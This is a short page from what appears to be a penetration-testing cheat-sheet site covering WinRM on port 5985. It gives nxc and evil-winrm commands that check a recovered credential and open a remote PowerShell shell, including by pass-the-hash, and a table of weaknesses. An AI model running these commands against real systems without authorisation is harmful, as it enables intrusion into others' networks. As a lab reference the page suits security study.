Skip to content
TARGET$IP10.10.11.42$DOMAINcorp.local$USERsvc_sql$PASS••••••••••filled into every command · stored in your browser only
ports/5985

5985/tcp

WinRM · Windows Remote Management
PowerShell remoting over HTTP. With a valid login for a member of Remote Management Users (or a local admin) it gives a clean, scriptable shell — the usual payoff once you've recovered a credential.
WindowsRemote access
ProtocolTCP
Servicewsman
Also on5986/tcp (HTTPS)
Default onWindows servers
AuthNTLM, Kerberos
// PORT SPACE · LOG SCALE 1 10 100 1k 10k 65535 228033898080 5985
01

Enumerate

start here
Confirm the credential works, then open a shell.
commands · your target is filled in
# can this account log in over WinRM?
nxc winrm $IP -u $USER -p $PASS

# interactive shell (password or -H for a hash)
evil-winrm -i $IP -u $USER -p $PASS
02

Weaknesses

check each one
CHECK HOW TO TELL WHAT IT GIVES YOU
Account in Remote Management Users nxc winrm shows (Pwn3d!) Interactive PowerShell shell
Pass-the-hash accepted evil-winrm -H works with an NTLM hash Shell without the plaintext password

WinRM is where a recovered credential becomes a comfortable shell. There’s little to exploit in the protocol itself — the question is simply which accounts are allowed to use it, and whether it accepts a hash in place of a password.

PORT 5985 ⌘K jump c copy commands t set target l start lab search.deflance.com static · no tracking